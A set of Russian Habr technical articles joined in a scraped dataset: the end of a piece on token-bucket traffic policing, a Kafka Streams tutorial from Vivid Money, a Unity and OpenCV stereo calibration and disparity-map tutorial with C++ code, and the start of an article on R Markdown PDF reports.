[](https://habrastorage.org/webt/ha/jq/ky/hajqkyagtj_hlzcin0b0mk1hqve.png)
Используем те же параметры что и раньше CIR=50, CBS=5, EBS=5. Количество токенов в корзинах теперь показано отдельно: основная **Bucket C** (*голубой*) и дополнительная **Bucket E** (*фиолетовый*). Теперь у нас не непрерывный поток битовых данных, а пакеты по 5Мбит. Что не совсем реально, трафик, в общем случае, состоит из разных по размеру пакетов приходящих в разные интервалы времени, и это очень сильно может изменить картину происходящего. Но для демонстрации базовых принципов и удобства подсчёта используем такой вариант. Также, отражён процесс пополнения корзины с приходом каждого пакета.
В первые 0,05 секунд передаём пакет в 5Мбит, опустошая основную корзину. С приходом второго пакета мы пополняем её, но на величину 2,5Мбит, что соответствует заданному CIR 0,05\*50. Этих токенов не хватает для передачи следующего пакета в 5Мбит, поэтому мы опустошаем вторую корзину, но пакет помечается по другому. Через 0,05 секунд опять приходит пакет, и мы опять пополняем основную корзину на 2,5Мбит и этого объёма хватает для его передачи в зелёной категории. Следующему пакету, несмотря на то что корзина пополняется, уже не хватает токенов и он попадает в красную категорию. *Красный сплошной* график отражает ситуацию, если отбрасываются только пакеты помеченные красным.
Во время простоя корзины не пополняются, как это было видно на предыдущем графике, но в момент времени 0,6, при получении следующей порции данных высчитывается интервал между пакетами: 0,6-0,3=0,3 секунды, следовательно у нас есть 0,3\*50=15Мбит для того чтобы пополнить основную корзину. Максимальный её объём CBS=5Мбит, остатком пополняется вторая корзина, тоже объёмом EBS=5Мбит. Оставшиеся 5Мбит мы не используем, тем самым трафик с очень длинными паузами всё равно ограничивается, чтобы не допустить ситуации: час бездействия — час без ограничений.
В итоге, на графике 6 зелёных участков или 30Мбит переданных за секунду — средняя скорость 30Мбит/c, что соответствует использованию только одной корзины и двух цветов. 3 жёлтых участка и в сумме с первым графиком 45Мбит/c, с учётом красных участков 55Мбит/c — две корзины, три цвета.
### 2 скорости, 3 цвета
Существует ещё один подход [RFC 2698](https://tools.ietf.org/html/rfc2698), в котором задаётся параметр пиковой скорости **PIR — Peak Information Rate**. И в этом случае используются две корзины, но каждая из которых заполняется независимо от другой — одна в соответствии с CIR, другая с PIR:
1. Bucket CIR, `пополняемый объём в токенах = интервал между последовательными пакетами * CIR`
2. Bucket PIR, `пополняемый объём в токенах = интервал между последовательными пакетами * PIR`
Таким образом, если PIR больше CIR то одна из корзин будет наполняться быстрее чем другая.
Трафик, как и в предыдущем случае, классифицируется на 3 категории следующим образом:
1. Если размер пакета меньше чем токенов в CIR корзине, то этот пакет помечается как green и из **обеих корзин** вычитается количество токенов соответствующих размеру пакета, иначе
2. Если размер пакета меньше чем токенов в PIR корзине, то этот пакет помечается как yellow и только из PIR корзины вычитается количество токенов соответствующих размеру пакета, иначе
3. Пакет помечается как red и ничего и ниоткуда не вычитается.
Основная идея такого подхода использовать два независимых ограничения, если мы помещаемся в оба, то это зелёная зона, если только под одно, то жёлтая, если ни под одно, то красная.
Вспомним для чего нам вторая корзина и больший burst, чтобы компенсировать периоды простоя трафика за счёт менее строго ограничения за больший период. Подход с двумя условиями даёт нам ту же возможность. Сформируем PIR и CIR равными 50Мбит/c, размер первой корзины 5, а второй **PBS** 10. Почему 10? Потому что это независимое ограничение, что возвращает нас к самому первому графику показывающему разницу burst. То есть, мы хотим добиться среднего результата между burst 5 и burst 10 и задаём эти условия напрямую.
[](https://habrastorage.org/webt/6q/s3/h7/6qs3h7lznlqyixix24zh9vlyclq.png)
Получили такой же график для полисера, что и при использовании предыдущего метода. При burst=10 получаем больше свободы, а вторым условием burst=5 добавляем точности. Обратите внимание как ведут себя корзины, каждая сама по себе.
Два отдельных условия, каждое из которых выполняется для одних и тех же входящих значений. Более строгое — классифицирует трафик, который гарантированно попадает под него, а менее строгое расширяет эти границы. В случае равных CIR и PIR, получаем взаимозаменяемый с предыдущим метод.
А устанавливая PIR скорость увеличиваем количество степеней свободы. Можно отдельно проверить разные burst при разных профилях трафика с разными CIR, а потом совместить всё вместе с использованием этого метода:
[](https://habrastorage.org/webt/gn/37/xz/gn37xzivxewwo5prpmmqodi0mzg.png)
CIR=50, PIR=75, CBS=5, PBS=7,5. CBS и PBS выбраны таким образом, чтобы укладываться в одинаковый интервал. Но, конечно, можно исходить из других условий, например для PIR сделать меньший burst, чтобы увеличить гарантию не выхода за обозначенные границы, а для CIR наоборот, более лояльный.
В принципе, при интенсивном трафике нет причин ставить маленький burst ни в каком случае, ни для какой из корзин. Несколько десятков секунд и несколько лишних мегабайт не сделают погоды на продолжительных временных интервалах, но частые блокировки из-за небольшого burst, могут сломать незаметные для нас механизмы регулировки потока. Для трафика 80Мбит/c, в зелёную зону уложилось 40Мбит/c. Учитывая жёлтую как раз вписались между CIR и PIR — 60МБит/c. Ещё раз, механизмы ограничения пытаются гарантировать не выход за верхние границы, про нижние они ничего не знают. И как видно в примерах, результирующий трафик всегда меньше заданных ограничений, иногда сильно меньше, даже если он сам попадал в них без посторонней помощи.
Описанные выше подходы сформировались в RFC уже больше 20 лет назад, но на свалку истории пока не торопятся, и часто применяются именно как ограничивающий инструмент ухудшающий качество, а не как классификатор, или как компенсирующий механизм. Даже в самых современных реализациях вы обязательно встретите если не эти алгоритмы, но эти термины обязательно и, конечно, сложность применения понятия скорости в сетях передачи данных. Может быть с ещё одной статьёй разобраться во всём этом станет чуть проще. | https://habr.com/ru/post/507494/ | null | ru | null |
# Как мы используем Kafka Streams в команде хранилища данных Vivid Money?
Привет! Меня зовут Андрей Серебрянский, я дата инженер в команде Data Operations. Наша команда отвечает за наполнение нашего хранилища на Snowflake, а также за то, чтобы у остальных команд были данные в реальном времени. Например, лента операций (это покупки клиентов, их переводы, полученный ими кешбек) наполняется на основе наших данных.
Для всех этих задач мы используем Kafka, а главное Kafka Streams. Сегодня я расскажу про то, для каких задач можно применять Kafka Streams и покажу код для наших простых примеров. Это будет полезно тем, кто использует Kafka, но еще не пробовал Kafka Streams. Если вы бы хотели сохранять состояние при обработке Kafka топиков или искали простой синтаксис для обогащения одних топиков информацией из других, то сегодня я покажу, как это можно делать легко и практически из коробки.
### План статьи
1. [Немного о Kafka Streams](#1)
2. [Зачем нам вообще Kafka Streams](#2)
3. [Кейс №1. Обогащаем покупки наших клиентов информацией о бренде](#3)
4. [Кейс №2. Забираем данные о клиенте из команды Origination к нам в хранилище](#4)
5. [Как все это запустить?](#5)
6. [Немного о масштабируемости Kafka Streams](#6)
7. [Выводы](#7)
### Немного о Kafka Streams
[Kafka Streams](https://kafka.apache.org/28/documentation/streams/) - это библиотека на Java. Для ее работы вам нужна только поднятая Kafka и приложение на Java/Scala.
Она позволяет вам в одну строчку в конфиге включить exactly once processing за счет [kafka transactions](https://www.confluent.io/blog/transactions-apache-kafka/).
С помощью Kafka Streams вы всего в несколько строчек может сохранять состояние, чтобы выполнять stateful операции (например, искать максимум или сравнивать сообщение с его предыдущей версией).
### Зачем нам вообще Kafka Streams?
Давайте возьмем одну из наших ежедневных задач: к нам приходит информация о том, что клиент что-то купил, а нам нужно добавить к ней информацию о магазине, о кэшбеке, который клиент получит, о состоянии его счета и о многом другом.
Мы могли бы опрашивать каждый из источников с этими данными самостоятельно один за другим или даже параллельно, когда бизнес-логика позволяет. Этот подход вполне сработает, если источников немного и объем данных, которые приходят в секунду невелик. Но если сообщений много, а источников, в которые надо сходить, десятки, тогда будут появляться задержки, а поддерживать код для такого количества интеграций станет сложно.
Эту ситуацию можно представить на таком примере: представьте, вы собираетесь в путешествие на машине и собираете друзей. Вы заезжаете за одним, за другим, третий слишком долго искал второй носок и задержался на полчаса, затем нужно забрать еще несколько человек.
Мы последовательно забираем данные из разных источников, ожидая, если в источнике что-то пошло не такВсе это работает, но не очень быстро и при маленьком объеме друзей.
Слишком много друзейТеперь представьте, что вместо того, чтобы забирать каждого друга у него дома, вы просите их собраться к определенному времени на платформе скоростного поезда. И в назначенное время просто забираете всех разом. Именно так работает Kafka Streams. При запуске приложения, библиотека заранее загружает все нужные данные из других топиков , а затем поддерживает их в актуальном состоянии
Kafka Streams заранее подтягивает себе нужные данныеДавайте посмотрим, как сделать такое обогащение в коде.
### Кейс №1. Обогащаем покупки наших клиентов информацией о бренде
Итак, у нас есть топик с брендами. В нем по ключу (brand\_id) лежит информация о бренде (в нашем примере там будет только имя).
Топик брендовИ у нас есть топик с авторизациями клиентов.
Топик авторизацийНаша задача при получении каждого сообщения дополнить его именем бренда.
Код для такой операции выглядит так
```
builder.streams("authorization-events")
.join(
builder.globalTable("brands"),
auth -> auth.get("brand_id"), // функция, достающая ключ для джоина из сообщения
(brand, auth) -> auth.set("brandName", brand.get("name")) // функция джоина
);
```
Но что это за объект builder? Это инстанс библиотечного класса для описания логики ваших преобразований. Его можно создать вот так:
```
import org.apache.kafka.streams.StreamsBuilder;
...
StreamsBuilder builder = new StreamsBuilder();
```
Ну и еще раз хотелось бы напомнить, что Kafka Streams заранее загрузило себе все бренды по их id в память (или часть на диск, если брендов слишком много).
#### Как работает поиск по id бренда?
Kafka Streams может представить любой топик в виде таблицы, где ключом является ключ сообщения в кафке, а значением - само сообщение. Именно это делает код `builder.globalTable(topicName)`.
Давайте рассмотрим на примере. У нас есть топик, в котором ключом является имя человека, а значением простой счетчик. Каждый раз когда нам приходит новый ключ, мы добавляем его в таблицу. Если же нам приходит сообщение с ключом, который мы уже видели, мы просто перезаписываем сообщение в таблице.
https://kafka.apache.org/0110/documentation/streams/developer-guide#streams\_dualityТеперь давайте посмотрим, что еще умеет Kafka Streams и как это помогает нам решать задачу поставки данных в реальном времени.
### Кейс №2. Забираем данные о клиенте из команды Origination к нам в хранилище
Когда клиент впервые скачивает приложение Vivid Money, он проходит небольшой онбординг, во время которого заполняет информацию о себе. Все эти данные сохраняются в базе данных команды Origination - они занимаются процессом регистрации нового клиента в Vivid.
Информация об имени и фамилии попадает в базу данных команды OriginationМы с помощью [Kafka Connect](https://docs.confluent.io/platform/current/connect/index.html) и немного доработанного open-source [коннектора](https://github.com/trustpilot/kafka-connect-dynamodb) к dynamodb забираем эти данные к себе в формате JSON.
Мы забираем данные из dynamodb себе в кафкуНо нам важно, чтобы данные были в фиксированном формате. Чтобы мы точно заранее знали, какие поля есть в сообщение, а каких точно нет. Для этой цели идеально подойдет формат [Apache AVRO](https://avro.apache.org/). С его помощью можно описать схему нашего сообщения.
Avro схема нашего сообщения
```
{
"type": "record",
"name": "OriginationClient",
"namespace": "datahub",
"fields": [
{
"name": "firstName",
"type": [
"null",
"string"
],
"default": null
},
{
"name": "lastName",
"type": [
"null",
"string"
],
"default": null
},
...
]
}
```
Чтобы преобразовать каждое сообщение нашего топика из одного формата в другой, достаточно вот такого кода:
```
Schema schema = new Schema.Parser().parse(new File("path/to/schema.avsc"));
AvroConverter avroConverter = new AvroConverter(schema);
builder.stream("origination-json-topic")
.mapValues(val -> avroConverter.convert(val))
.to("origination-avro-topic");
```
AvroConverter в данном случае - это класс, который преобразует сообщение в заданную заранее схему. В open source есть вот такой <https://github.com/allegro/json-avro-converter> конвертер. Мы используем его доработанную версию.
Окей, у нас есть данные в фиксированном формате. Но было бы круто прежде, чем сложить информацию о клиенте в базу, выделить, какое именно изменение произошло с нашим пользователем в этом сообщении. Эта разница (diff) может быть полезна. Например, изменение поля можно использовать как триггер для других событий.
Для этого нам нужно достать предыдущее сообщение по этому ключу, сравнить их и записать разницу дальше. Достать сообщение по ключу. Звучит знакомо. Да, Kafka Streams конечно же так умеет. На этот раз напишем отдельный трансформер, чтобы показать, что и так можно.
Наш код:
```
import io.confluent.kafka.streams.serdes.avro.GenericAvroSerde;
...
var changes = builder.stream(sourceTopic);
var stateStoreSupplier = Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore**("state-store"**), // указываем имя для нашего стора
Serdes.Bytes(), // указываем тип ключа сообщения во входящем топике
new GenericAvroSerde() // указываем тип значения сообщения во входящем топике
);
builder.addStateStore(stateStoreSupplier);
changes.transform(() -> new ChangeTransformer(), "state-store") // используем имя, заданное раньше
.to(outputTopic);
```
А ChangeTransformer выглядит вот так:
```
public class ChangeTransformer implements Transformer {
private KeyValueStore stateStore;
@Override
public void init(ProcessorContext processorContext) {
this.stateStore = processorContext.getStateStore("state-store");
}
@Override
public KeyValue transform(String recordKey, GenericRecord record) {
GenericRecord prevState = stateStore.get(recordKey);
return extractDiff(prevState, record);
}
...
}
```
### Как все это запустить?
```
StreamsBuilder builder = new StreamsBuilder();builder.stream("my-input-topic")
.filter(...)
.map(...)
.to("my-output-topic");
KafkaStreams kafkaStreams = new KafkaStreams(builder.build(), properties);
kafkaStreams.start(); // ассинхронно
...
kafkaStreams.stop();
```
### Немного о масштабируемости Kafka Streams
Из коробки Kafka Streams позволяет параллельно обработать данные. Максимальный уровень параллельности ограничен только количеством партиций во входящем топике. Если во входящем топике 16 партиций, вы можете поднять вплоть до 16 инстансов вашего приложения. Каждое из них будет повторять ту логику, которую вы заложили.
Больше того, если вы используете state-store (как в примере выше с ChangeTransformer-ом), то стейт будет сохраняться только для той партиции, которую приложение обрабатывает! Это позволит снизить нагрузку на память и диск.
Подробнее об этом можно прочитать вот здесь: <https://docs.confluent.io/platform/current/streams/architecture.html#parallelism-model>
### Выводы
Kafka Streams это:
* Удобные stateful операции (join, get previous state). Мы видели это на примере обогащения операции покупки клиента информацией о бренде магазина, где была совершена покупку.
* Понятный и короткий код. Чтобы делать преобразования типа map, filter, join есть простой и короткий DSL. Если нужны более сложные преобразования, мы всегда можем воспользоваться методом `transform()` и написать свой класс трансформера. Мы видели это на примере своего собственного ChangeTransformer-а, который находил разницу между текущим и предыдущим состоянием клиента.
* Простая масштабируемость. Вы можете эффективно обрабатывать данные параллельно. Вы ограничены только количеством партиций во входящем в ваше приложение топике.
P.S. Это моя первая статья на хабре) Я буду рад вашим замечаниям, комментариям и вопросам! | https://habr.com/ru/post/562138/ | null | ru | null |
# Виртуальный квадрокоптер на Unity + OpenCV (Часть 3)
Всем привет!
Сегодня я хотел бы продолжить серию о том, как подружить Unity, C++ и OpenCV. А также, как получить виртуальную среду для тестирования алгоритмов компьютерного зрения и навигации дронов на основе Unity. В предыдущих статьях я рассказывал о том, [как сделать виртуальный квадрокоптер в Unity](http://habrahabr.ru/post/267791/) и [как подключить C++ плагин, передать туда изображение с виртуальной камеры и обработать его посредством OpenCV](http://habrahabr.ru/post/269007/). В этой статье я расскажу как сделать из двух виртуальных камер на квадрокоптере стереопару и как получить карту смещений (disparity map), которую можно использовать для оценки глубины пикселей изображения.
#### Идея
О том, как сделать 3д реконструкцию написано не мало. Например есть [замечательная статья на хабре](http://habrahabr.ru/post/130300/). Очень советую ее прочитать, если вы совсем не в теме. Более математически строго можно почитать [тут](https://www.robots.ox.ac.uk/~vgg/hzbook/). Здесь же я ооочень упрощенно изложу основную идею. Техника получения карты смещений, которая будет использоваться, называется плотная 3д реконструкция (dense 3d reconstruction) по двум изображениям. Используется то, что две расположенные рядом и имеющие одну ориентацию камеры видят одну сцену с немного отличающихся точек зрения. Называется это [стереопара](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D1%80%D0%B5%D0%BE%D0%BF%D0%B0%D1%80%D0%B0). Мы будем использовать обычную горизонтальную стереопару, то есть камеры, смещенные перпендикулярно направлению «зрения» камеры. Если найти на первом и втором изображении одну и ту же точку сцены, то есть найти две проекции точки сцены, то можно заметить, что, в общем случае, координаты этих двух проекций не совпадают. То есть проекции смещены друг относительно друга в случае наложения снимков. Это и дает возможность вычислить глубину точки сцены по величине смещения (упрощенно: точки смещенные больше находятся ближе точек смещенных меньше).
изображение из [www.adept.net.au/news/newsletter/201211-nov/article\_3D\_stereo.shtml](http://www.adept.net.au/news/newsletter/201211-nov/article_3D_stereo.shtml)
Чтобы это сделать необходимо откалибровать камеры. Далее необходимо откалибровать стереопару, убрать [дисторсию](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D1%82%D0%BE%D1%80%D1%81%D0%B8%D1%8F) и выпрямить изображения, так чтобы те самые проекции точки лежали на одной горизонтальной прямой. Это требование алгоритма плотной 3д реконструкции из OpenCV, ускоряющее поиск соответствующих точек. Мы будем использовать самый простой и самый быстрый алгоритм из OpenCV — StereoBM. Описание АПИ находится [здесь](http://docs.opencv.org/3.0-beta/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html). Приступим.
#### Калибровка камер
Как добавить еще одну камеру на квадрокоптер и получить с нее изображение описывается в предидущей статье, поэтому сразу начнем с калибровки камер. Я использую две камеры с углом обзора (field of view) 70 градусов, текстуры изображений с камер разрешением 512 x 512 пикселей. Откалибровать камеру — это значит получить матрицу 3х3 внутренних параметров и вектор параметров ее искажений. Калибровка происходит путем получения набора калибровочных сэмплов. Один калибровочный сэмпл — это координаты точек калибровочного паттерна с заранее известной геометрией в двухмерной системе отсчета снимка камеры. От качества калибровки очень сильно зависит работа всех алгоритмов, которые ее используют, поэтому очень важно хорошо откалибровать камеры. Я калибрую по 40-50 калибровочным сэмплам, причем, важна большая вариабельность калибровочных сэмплов, то есть по возможности необходимо получить как можно больший разброс по ориентациям и позициям калибровочного паттерна относительно камеры. Предъявление почти одинаковых 50 калибровочных сэмплов даст невысокое качество калибровки камеры. Я использую [этот калибровочный петтарн](http://docs.opencv.org/2.4/_downloads/pattern.png). Его просто можно драг-эн-дропнуть в Unity и задать его текстурой для 2д спрайта. Все размеры в программе я задаю в пикселях, размер стороны квадрата этого паттерна 167 пикселей. Для него уже есть функции поиска его на изображении в OpenCV. Для вдохновения можно использовать пример из opencv-source/samples/cpp/calibration.cpp. Собственно, я так и сделал.
**Код основных функций калибровки**
```
/** @brief Функция ищет на переданной картинке наш калибровочный паттерн и
запоминает найденные точки паттерна.
Size boardSize (9, 6) - это конфигурация калибровочного паттерна, количества квадратов по горизонтали и вертикали,
в sampleFound сохраняется был ли найден паттерн на изображении
*/
void CameraCalibrator::findSample (const cv::Mat& img) {
currentSamplePoints.clear();
int chessBoardFlags = CALIB_CB_ADAPTIVE_THRESH | CALIB_CB_NORMALIZE_IMAGE;
sampleFound = findChessboardCorners( img, boardSize, currentSamplePoints, chessBoardFlags);
currentImage = &img
}
bool CameraCalibrator::isSampleFound () {
return sampleFound;
}
/** @brief Функция сохранения найденного сэмпла
*/
void CameraCalibrator::acceptSample () {
// немного улучшает найденные координаты сэмпла
Mat viewGray;
cvtColor(*currentImage, viewGray, COLOR_BGR2GRAY);
cornerSubPix( viewGray, currentSamplePoints, Size(11,11),
Size(-1,-1), TermCriteria( TermCriteria::EPS+TermCriteria::COUNT, 30, 0.1 ));
// рисует на изображении найденные точки (полезно видеть что именно было найдено)
drawChessboardCorners(*currentImage, boardSize, Mat(currentSamplePoints), sampleFound);
//сохраняет сэмпл
samplesPoints.push_back(currentSamplePoints);
}
/** @brief Функция инициирующая процесс калибровки
*/
void CameraCalibrator::makeCalibration () {
vector rvecs, tvecs;
vector reprojErrs;
double totalAvgErr = 0;
//мы знаем заранее, что у нас картинка всегда квадратная
//поэтому можно этот параметр не калибровать,
//если есть еще какая-то информация о камерах, ее тоже
//можно использовать с помощью других флагов, которые
//можно здесь указать
float aspectRatio = 1.0;
int flags = CV\_CALIB\_FIX\_ASPECT\_RATIO;
bool ok = runCalibration(samplesPoints, imageSize, boardSize, squareSize,
aspectRatio, flags, cameraMatrix, distCoeffs,
rvecs, tvecs, reprojErrs, totalAvgErr);
// выводим в лог результат калибровки
stringstream sstr;
sstr << "--- calib result: " << (ok ? "Calibration succeeded" : "Calibration failed") << ". avg reprojection error = " << totalAvgErr;
DebugLog(sstr.str());
saveCameraParams(imageSize, boardSize, squareSize, aspectRatio, flags, cameraMatrix, distCoeffs, rvecs, tvecs, reprojErrs, samplesPoints, totalAvgErr);
}
/\*\* @brief Функция рассчета геометрии калибровочного паттерна
\*/
void calcChessboardCorners(Size boardSize, float squareSize, vector& corners)
{
corners.resize(0);
for( int i = 0; i < boardSize.height; ++i )
for( int j = 0; j < boardSize.width; ++j )
corners.push\_back(Point3f(j\*squareSize, i\*squareSize, 0));
}
/\*\* @brief Функция выполняющая калибровку
\*/
bool runCalibration(
vector > imagePoints,
Size imageSize, Size boardSize,
float squareSize, float aspectRatio,
int flags, Mat& cameraMatrix, Mat& distCoeffs,
vector& rvecs, vector& tvecs,
vector& reprojErrs,
double& totalAvgErr
) {
//инициализация матрицы внутренних параметров камеры
cameraMatrix = Mat::eye(3, 3, CV\_64F);
if( flags & CALIB\_FIX\_ASPECT\_RATIO )
cameraMatrix.at(0,0) = aspectRatio;
//инициализация коэффициентов дисторсии
distCoeffs = Mat::zeros(8, 1, CV\_64F);
//рассчитываем координаты точек на калибровочном паттерне
//в системе калибровочного паттерна
//это необходимо для калибровки
vector > objectPoints(1);
calcChessboardCorners(boardSize, squareSize, objectPoints[0]);
objectPoints.resize(imagePoints.size(),objectPoints[0]);
//вызов OpenCV функции калибровки
//objectPoints - заранее известная геометрия калировочного паттерна
//imagePoints - калибровочные сэмплы
//imageSize - размеры изображения камеры
double rms = calibrateCamera(objectPoints, imagePoints, imageSize, cameraMatrix,
distCoeffs, rvecs, tvecs, flags|CALIB\_FIX\_K4|CALIB\_FIX\_K5);
///\*|CALIB\_FIX\_K3\*/|CALIB\_FIX\_K4|CALIB\_FIX\_K5);
//rms - оценка качества калибровки, при хорошей калибровке,
//при задании всех размеров в пикселах, должно около 1
printf("RMS error reported by calibrateCamera: %g\n", rms);
bool ok = checkRange(cameraMatrix) && checkRange(distCoeffs);
totalAvgErr = computeReprojectionErrors(objectPoints, imagePoints,
rvecs, tvecs, cameraMatrix, distCoeffs, reprojErrs);
return ok;
}
```
#### Стереопара
Теперь нам необходимо сделать из наших двух камер стереопару. Для этого используется функция [stereoCalibrate](http://docs.opencv.org/3.0-beta/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#stereocalibrate). Для нее нам понадобятся сэмплы обеих камер. Мы воспользуемся сэмплами взятыми с шага калибровки камер. Поэтому важно сохранять только те сэмплы, где калибровочный паттерн бал найден на двух изображениях сразу. Матрицы камер и их параметры дисторсии нам потребуются как хорошие начальные приближения.
**Код калибровки стереопары**
```
/** @brief Функция, выполняющая калибровку стереопары
*/
void StereoCalibrator::makeCalibration (
const std::vector>& camera1SamplesPoints,
const std::vector>& camera2SamplesPoints,
cv::Mat& camera1Matrix,
cv::Mat& camera1DistCoeffs,
cv::Mat& camera2Matrix,
cv::Mat& camera2DistCoeffs
) {
//снова нам нужно передать геометрию калибровочного паттерна
std::vector> objectPoints;
for( int i = 0; i < camera1SamplesPoints.size(); i++ ) {
objectPoints.push\_back(chessboardCorners);
}
double rms = stereoCalibrate(
objectPoints, camera1SamplesPoints, camera2SamplesPoints,
//матрицы и параметры искажений будут уточнены и перезаписаны
camera1Matrix, camera1DistCoeffs,
camera2Matrix, camera2DistCoeffs,
//разрешение картинка камеры
imageSize,
//здесь будет рассчитанная матрица поворота второй камеры относительно первой
rotationMatrix,
//здесь будет вектор трансляции второй камеры относительно первой
translationVector,
//здесь будет существенная матрица
essentialMatrix,
//здесь будет фундаментальная матрица
fundamentalMatrix,
//флаг, указывающий что нажно использовать переданные матрицы камер
//и параметры искажений в качестве начального приближения
CV\_CALIB\_USE\_INTRINSIC\_GUESS,
TermCriteria(TermCriteria::COUNT+TermCriteria::EPS, 100, 1e-5)
);
//функция также возвращает оценку качества калибровки -
//ошибку репроекции, она, по идее, должна тоже быть в районе 1
stringstream outs;
outs << "--- stereo calib: done with RMS error=" << rms;
DebugLog(outs.str());
}
```
**Получившиеся у меня параметры калибровки**
```
//512, 70 deg
Mat cam1 = (Mat_(3, 3) <<
355.3383989449604, 0, 258.0008490063121,
0, 354.5068750418187, 255.7252273330564,
0, 0, 1);
Mat dist1 = (Mat\_(5, 1) <<
-0.02781875153957544,
0.05084431574408409,
0.0003262438299225566,
0.0005420218184546293,
-0.06711413339515834);
Mat cam2 = (Mat\_(3, 3) <<
354.8366825622115, 0, 255.7668702403205,
0, 353.9950515096826, 254.3218524455621,
0, 0, 1);
Mat dist2 = (Mat\_(12, 1) <<
-0.03429254591232522,
0.04304840389703278,
-0.0005799461588668822,
0.0005396568753307817,
-0.01867317550268149);
Mat R = (Mat\_(3, 3) <<
0.9999698145104303, 3.974878365893637e-06, 0.007769816740176146,
-3.390471048492443e-05, 0.9999925806915616, 0.003851936175643478,
-0.00776974378253147, -0.003852083336451321, 0.9999623955607145);
Mat T = (Mat\_(3, 1) <<
498.2890078004688,
0.3317087752736566,
-6.137837861924672);
```
#### Карта смещений
Теперь настала очередь рассчитать карту смещений. Даже если все предидущие шаги вы сделали правильно не факт, что у вас сразу получиться ее рассчитать. Дело в том, что у алгоритма расчета карты смещении порядка 10 параметров, которые нужно правильно подобрать чтобы получить хорошую картинку. Очень помогает понять в чем тут дело вот это видео
из [этой статьи](http://blog.martinperis.com/2011/08/opencv-stereo-matching.html). По поводу настройки парамертров также не советую задирать параметр TextureThreshold больше 50, так как известно, что при этом алгоритм StereoBM начинает спонтанно падать.
**Код получения карты смещений**
```
//Создание алгоритмов получения карт смещений
DisparityMapCalculator::DisparityMapCalculator () {
bm = StereoBM::create(16,9);
}
/** @brief Задание параметров калибровки и
инициализация параметров ректификации изображений
*/
void DisparityMapCalculator::set (
cv::Mat camera1Matrix,
cv::Mat camera2Matrix,
cv::Mat camera1distCoeff,
cv::Mat camera2distCoeff,
cv::Mat rotationMatrix,
cv::Mat translationVector,
cv::Size imageSize
) {
this->camera1Matrix = camera1Matrix;
this->camera2Matrix = camera2Matrix;
this->camera1distCoeff = camera1distCoeff;
this->camera2distCoeff = camera2distCoeff;
this->rotationMatrix = rotationMatrix;
this->translationVector = translationVector;
//вычисляет параметры ректификации (выпрямления) изображений
stereoRectify( camera1Matrix, camera1distCoeff, camera2Matrix, camera2distCoeff, imageSize, rotationMatrix, translationVector, R1, R2, P1, P2, Q, /*CALIB_ZERO_DISPARITY*/0, -1, imageSize, &roi1, &roi2 );
//инициализация преобразований ректификации изображений
//для левого и правого изображения
initUndistortRectifyMap(camera1Matrix, camera1distCoeff, R1, P1, imageSize, CV_16SC2, map11, map12);
initUndistortRectifyMap(camera2Matrix, camera2distCoeff, R2, P2, imageSize, CV_16SC2, map21, map22);
bm->setROI1(roi1);
bm->setROI2(roi2);
}
/** @brief Функция задания параметров алгоритма рассчета карты смещений
*/
void DisparityMapCalculator::setBMParameters (
int preFilterSize,
int preFilterCap,
int blockSize,
int minDisparity,
int numDisparities,
int textureThreshold,
int uniquenessRatio,
int speckleWindowSize,
int speckleRange,
int disp12maxDiff
) {
bm->setPreFilterSize(preFilterSize);
bm->setPreFilterCap(preFilterCap);
bm->setBlockSize(blockSize);
bm->setMinDisparity(minDisparity);
bm->setNumDisparities(numDisparities);
bm->setTextureThreshold(textureThreshold);
bm->setUniquenessRatio(uniquenessRatio);
bm->setSpeckleWindowSize(speckleWindowSize);
bm->setSpeckleRange(speckleRange);
bm->setDisp12MaxDiff(disp12maxDiff);
}
/** @brief Рассчет карты смещений
*/
void DisparityMapCalculator::compute (
const cv::Mat& image1,
const cv::Mat& image2,
cv::Mat& image1recified,
cv::Mat& image2recified,
cv::Mat& disparityMap
) {
// ректификация изображений
remap(image1, image1recified, map11, map12, INTER_LINEAR);
remap(image2, image2recified, map21, map22, INTER_LINEAR);
// для алгоритма очень важно не перепутать левое изображение и правое.
// при считывании изображений из OpenGL получается так, что они
// оказываются зеркально отображены,
// сказываются особенности хранения текстур в OpenGL и OpenCV
// нам важно отразить изображения по горизонтали, ниаче алгоритм не сработает
flip(image1recified, L, 1);
flip(image2recified, R, 1);
// stereo bm - мне понравился больше чем sgbm,
// проще настроился и работает быстрее
// StereoBM принимает на входе изображения в градациях серого
cv::cvtColor(L, image1gray, CV_RGBA2GRAY, 1);
cv::cvtColor(R, image2gray, CV_RGBA2GRAY, 1);
int numberOfDisparities = bm->getNumDisparities();
//вычисление карты смещений
bm->compute(image1gray, image2gray, disp);
//конвертируем карту смещений в изображение, которое можно отобразить
disp.convertTo(disp8bit, CV_8U, 255/(numberOfDisparities*16.));
//отражаем результат, чтобы увидеть его правильно ориентированным в Unity
flip (disp8bit, disp, 1);
//текстуры у нас хранятся в 4 канальном виде
//поэтому нужно конвертировать наше однокальаное изображение
//в 4 канала
cv::cvtColor(disp, disparityMap, CV_GRAY2RGBA, 4);
}
```
Также можно посмотреть на видео как это все работает у меня.
Алгоритм, использованный для расчета карты смещений довольно старый, поэтому результат не очень красивый получился. Я думаю, что его можно улучшить использовав какой-нибудь более современный алгоритм, но для этого одного OpenCV не достаточно.
За сцену нужно сказать спасибо [ThomasKole](https://sketchfab.com/ThomasKole)
Код можно взять [из гитхаба](https://github.com/parilo/quadrocopter-unity-opencv), ветка habr\_part3\_disparity\_map\_opencv\_stereobm
Спасибо за внимание | https://habr.com/ru/post/271337/ | null | ru | null |
# RStudio, R Markdown, Latex и отчеты в PDF формате. Мой опыт
Сегодня я хочу рассказать о том, как я писал отчеты на R, с чем сталкивался и как решал проблемы, которые возникали по ходу разработки. Отчеты были в формате PDF и запускались из Python в Camunda.
1. Запуск отчетов на R
----------------------
